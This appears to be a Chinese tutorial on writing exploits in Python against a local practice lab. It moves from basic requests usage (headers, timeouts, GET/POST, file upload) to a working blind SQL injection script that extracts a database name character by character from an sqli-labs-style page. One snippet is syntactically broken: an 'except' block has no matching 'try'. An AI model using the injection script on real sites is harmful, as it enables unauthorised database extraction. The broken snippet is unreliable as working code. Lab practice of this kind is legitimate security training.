用Python编写EXP

# coding=utf-8
import requests
res=requests.get("http://192.168.1.129/html/1.html")
print(res.content.decode("utf-8"))

print(res.headers)
print(res.url)

# coding=utf-8
import requests
url="http://192.168.1.129/html/1.html"
header={"User-Agent":"aiyoubucuo"}
res=requests.get(url,headers=header)
print(res.request.headers)

# coding=utf-8
import requests
url="http://192.168.1.129/html/chaoshi.php"

res=requests.get(url,timeout=3)
    print(res.request.headers)
except Exception as e:
    print("网页已超时！！！")

# coding=utf-8
import requests
url="http://192.168.1.129/get.php"
data={"aiyou":"bucuo"}
res=requests.get(url,params=data)
print(res.url)

# coding=utf-8
import requests
url="http://192.168.1.129/post.php"
datas={"aiyou":"bucuo"}
res=requests.post(url,data=datas)
print(res.content.decode("utf-8"))

array(1) {
  ["aiyou"]=>
  string(5) "bucuo"
}

# coding=utf-8
import requests
url="http://192.168.1.129/shangchuan.php"
upfile={"file":open("123.txt","rb")}
datas={"submit":"submit"}
res=requests.post(url,files=upfile,data=datas)
print(res.content.decode("utf-8"))

#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+
# coding=utf-8
import requests
url="http://192.168.1.129/sqli/Less-8/"
reslen=len(requests.get(url=url+"?id=1").text)
print("正常情况下网页返回数据的长度"+str(reslen))
dblen=0
while True:
    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("数据库名字长度为："+str(dblen))
        break
    if dblen==30:
        print("出现错误！")
        break
    dblen+=1

# coding=utf-8
import string
import requests
url="http://192.168.1.129/sqli/Less-8/"
reslen=len(requests.get(url=url+"?id=1").text)
print("正常情况下网页返回数据的长度"+str(reslen))
#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+
dblen=0
while True:
    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("数据库名字长度为："+str(dblen))
        break
    if dblen==30:
        print("出现错误！")
        break
    dblen+=1
dbnmae=""
#生成8个字母
for i in range(1,9):
    #获取字母从a-z
    for a in string.ascii_lowercase:
        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"
        print(dburl)
        if len(requests.get(dburl).text)==reslen:
            dbnmae+=a
            print(dbnmae)
            break